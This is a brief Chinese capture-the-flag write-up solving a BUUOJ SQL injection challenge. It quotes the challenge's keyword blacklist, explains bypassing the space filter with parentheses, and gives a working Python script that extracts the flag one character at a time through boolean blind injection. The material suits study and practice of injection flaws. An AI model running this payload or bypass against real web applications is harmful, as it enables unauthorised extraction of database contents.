题目直接给出表明,段名,接下来直接跑数据就行,但是加引号之后发现并不会回显错误,而是bool(false),语句正确则会返回正常内容
1==>Hello, glzjin wants a girlfriend.
2==>Do you want to be my girlfriend?
3==>Error Occured When Fetch Result.
那么可以依靠布尔盲注来跑出来flag。
经过一番测试,发现题目过滤了空格和一些特殊字符、关键字。
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
空格用括号可以绕过,至于其他的反正也用不到。
直接去跑内容:
import requests
import time
url='http://64957f16-c2a5-4c5c-9bcb-8b751307ee10.node3.buuoj.cn/index.php'
pos=1
flag=''
while True:
for i in range(33,127):
payload = f"(if((ascii((substr((select(flag)from(flag)),{pos},1)))={i}),1,3))"
r=requests.post(url,data={'id':payload})
if 'girlfriend' in r.text:
flag+=chr(i).lower()
print(flag)
pos+=1
break
得到flag。
值得一提的点是刚开始我没有使用ascii,导致要判断的字符被过滤掉了,已知卡在-
这里,使用了ascii之后即可解决。